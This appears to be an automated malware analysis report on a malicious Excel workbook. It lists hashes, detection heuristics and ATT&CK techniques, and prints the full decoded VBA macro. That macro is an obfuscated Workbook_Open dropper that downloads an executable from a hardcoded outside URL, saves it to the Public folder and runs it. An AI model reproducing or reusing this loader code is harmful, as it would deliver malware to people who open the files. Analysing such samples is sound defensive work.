Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b54d4b871add23fd…

MALICIOUS

Office (OOXML)

59.1 KB First seen: 2020-09-15
MD5: 41c20b78ea21183327304e9442ec47a3 SHA-1: b81158c5ae868a7ab58d41319be96ed902b9a8f6 SHA-256: b54d4b871add23fd4ef21dee298f93898cd5e1b5601a772b997e165ab7624c0b
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that is obfuscated and designed to download and execute a payload. The macro contains a hardcoded URL, 'https://gradra.com/Onyem_WXdQ.exe', which is used to fetch the second-stage executable. This behavior is indicative of a downloader or droppper malware.

Heuristics 7

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.write ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Range("A6:J13").Select
    Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Range("A6:J13").Select
    Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8816 bytes
SHA-256: 4214b512048289109a4de042258880a069f56755b68f7c668959fa74a2ace54f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 41 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Range("A6:J13").Select 
fjziedunnyzhhhyffcmrmnkncwkjjtseldjleyvozlnknivjgarxrihrzmghtkdufuwdxmahhysaazztbacjcvncvrmrsnvoisftlsluzjptqhrznmgshtskhthfajpuderhtgiioijsftmoamefhc"68 74 74 70 73 3A 2F 2F 67 72 61 64 72 61 2E 63 6F 6D 2F 4F 6E 79 65 6D 5F 57 58 64 51 2E 65 78 65"
  Selection.Font.ColorIndex = 3
End Sub
Public Sub fjziedunnyzhhhyffcmrmnkncwkjjtseldjleyvozlnknivjgarxrihrzmghtkdufuwdxmahhysaazztbacjcvncvrmrsnvoisftlsluzjptqhrznmgshtskhthfajpuderhtgiioijsftmoamefhc (ecwoxjijcjbjirjvpirkyjhbkvoonumvnsesmyzwsdcjfiiyfwpycfeuuvdcvtviwgwqmriqjvsvhywbmpjreoshokxruxayhumymsmonypgnimvycpgkedinobctqwmutonmxpucudgylufxbsrhu As String)
Dim ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg
  Range("A6:J13").Select 
Dim aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej
  Range("A6:J13").Select 
Dim xurxosjvzhjwfjwhadtvglwlspafvsnydyprdinmtqploejxnxzlxicmxgeyrdzgulshtfdspgcqvlxogdsytcbvvdtxdpupqiqdlbdithvqfmqmjpsolbnsjxlplgoammzmuudezjelglpjmgnowg
  Range("A6:J13").Select 
Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  Range("A6:J13").Select 
Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
Set xurxosjvzhjwfjwhadtvglwlspafvsnydyprdinmtqploejxnxzlxicmxgeyrdzgulshtfdspgcqvlxogdsytcbvvdtxdpupqiqdlbdithvqfmqmjpsolbnsjxlplgoammzmuudezjelglpjmgnowg = CreateObject(goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("57 53 63 72 69 70 74 2e 53 68 65 6c 6c"))
smecnweweyselnogzjpgpzfhdxqfbyhrvwyvnqtmgykhugmastqdrhwshxzpfyugrbippttiqcarpxmwkqnihdanzfnprdhhdeqtxxkyzinphfdjkcfpkmznaupkfermvsnlhtynfoizplgucdeoyr = goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz(ecwoxjijcjbjirjvpirkyjhbkvoonumvnsesmyzwsdcjfiiyfwpycfeuuvdcvtviwgwqmriqjvsvhywbmpjreoshokxruxayhumymsmonypgnimvycpgkedinobctqwmutonmxpucudgylufxbsrhu)
xrecschasvqatorscrerjwdaxpovhczcodvwgfbvffvniorscjbnkgiaoeecomsqwompsvmwpimeapriywtyblshvuibayhsmfrtcczhxexbteaynvestupkwetymkwrburvyxgvxlawnqnrukoeup = goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6B 72 61 66 6B 6B 69 71 6E 6D 64 68 6E 6F 7A 75 6A 71 61 76 2e 65 78 65")
zsqgxxiaumigazmfzppivhtsxfrcdcwrxluzfrzjnwrnogqoeokzpluryxjsggxsqqjoenahpgvyqgeqpcxorxclrcahihcgzyxxxbjqocjiqvbrttcdjiatoywcnszhdozrjgtntgaontuwbiopez = goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6B 72 61 66 6B 6B 69 71 6E 6D 64 68 6E 6F 7A 75 6A 71 61 76 2e 65 78 65")
ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.Open chr(71) + chr(69) + chr(84), smecnweweyselnogzjpgpzfhdxqfbyhrvwyvnqtmgykhugmastqdrhwshxzpfyugrbippttiqcarpxmwkqnihdanzfnprdhhdeqtxxkyzinphfdjkcfpkmznaupkfermvsnlhtynfoizplgucdeoyr, False
ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.send
aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.Type = 1
aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.Open
aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.write ocqdkxqkuwbdmuuzjbmudpaxkbuwesyeezflwjnsdsahevzalxsrfnryctticufcyxymoidanuqkpttoctkgzhzqigjdpepjnyihwnlcusdlwgiizegjjycrxhdizzkjehxrkmrpiilhdoucyadkyg.responseBody
aovrjojddvhugpjrxnnqbbmvnjnbjyvakygivtcdfefqajhftgcpxhfzcadabitezhjiiawekjlwwwuebiidvfccshgupccxkaqszzwtjyenwicffyysaqitegpatboihnlvfcfclotxapgkeaoqej.savetofile xrecschasvqatorscrerjwdaxpovhczcodvwgfbvffvniorscjbnkgiaoeecomsqwompsvmwpimeapriywtyblshvuibayhsmfrtcczhxexbteaynvestupkwetymkwrburvyxgvxlawnqnrukoeup, 2
xurxosjvzhjwfjwhadtvglwlspafvsnydyprdinmtqploejxnxzlxicmxgeyrdzgulshtfdspgcqvlxogdsytcbvvdtxdpupqiqdlbdithvqfmqmjpsolbnsjxlplgoammzmuudezjelglpjmgnowg.Run zsqgxxiaumigazmfzppivhtsxfrcdcwrxluzfrzjnwrnogqoeokzpluryxjsggxsqqjoenahpgvyqgeqpcxorxclrcahihcgzyxxxbjqocjiqvbrttcdjiatoywcnszhdozrjgtntgaontuwbiopez
End Sub
Public Function goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz(ByVal epvytnqownsvesmesplopbwblyhbdesadfijrwapnlnrtlgwxioydircttmugokrurrykcnwovadoeharkeuquxuofqxjgjyavxbuimuvrkhinopmlcvkqbauwjempmhlbctgfgjyjzzjpmbrblxeo As String) As String
Dim oktxgxzhifecvgkuigftxarbqfjinlepdxnszjyijqbtugugqwseslqnsrgbnruxbpzxtrvyhwjhzxgjkdrrsawsgzzhdxvsvesfhwnyauxvbjoulwqkadebshqtrnukbrlufbcoqsqxcbqxkewhgl As String
Dim rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr As String
Dim gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom As Long
For gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom = 1 To Len(epvytnqownsvesmesplopbwblyhbdesadfijrwapnlnrtlgwxioydircttmugokrurrykcnwovadoeharkeuquxuofqxjgjyavxbuimuvrkhinopmlcvkqbauwjempmhlbctgfgjyjzzjpmbrblxeo)Step 3
        oktxgxzhifecvgkuigftxarbqfjinlepdxnszjyijqbtugugqwseslqnsrgbnruxbpzxtrvyhwjhzxgjkdrrsawsgzzhdxvsvesfhwnyauxvbjoulwqkadebshqtrnukbrlufbcoqsqxcbqxkewhgl = Chr$(Val("&H" & Mid$(epvytnqownsvesmesplopbwblyhbdesadfijrwapnlnrtlgwxioydircttmugokrurrykcnwovadoeharkeuquxuofqxjgjyavxbuimuvrkhinopmlcvkqbauwjempmhlbctgfgjyjzzjpmbrblxeo, gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom, 2)))
        rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr = rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr & oktxgxzhifecvgkuigftxarbqfjinlepdxnszjyijqbtugugqwseslqnsrgbnruxbpzxtrvyhwjhzxgjkdrrsawsgzzhdxvsvesfhwnyauxvbjoulwqkadebshqtrnukbrlufbcoqsqxcbqxkewhgl
    Next gvuozyzdbujpxpmjtnjfoqroghtasbfuugonkoxcgizgywhzrswebcdqegirfykzppvqayyfpgygrkpjatjzfatrdyjdffxixzrjaqyttrpudwytqyqlpluowembovzkjqirtgjkvpfnlyngaqnhom
goavmskgtquvqlpkghexdzkzenhtfnfjmaxdgytpyiptyjdayqgwbkzhebqz = rszrmaftgnzmtjyupjtcthmgyrqtjmrneqzsuoocjxldyphhzqpmnerkgstvjlktwmidjfzavrtwwjiikjusxeaaypmbvtsxnrglhdxtrprvlvnwkklarrwsmieusxfbyvjecwbglaaimepdbqrkhr
End Function

Attribute VB_Name = "wrydjyehdwdcfbvjinzpjdilfudaaee"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9728 bytes
SHA-256: 923ab21c213ac64d1b3a846e69b70339f893df953ba2687451ed40d6da3b78f7
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: likely
208 of 330 identifiers look randomly generated (e.g. 'wrydjyehdwdcfbvjinzpjdilfudaaee') — consistent with name-mangling obfuscation.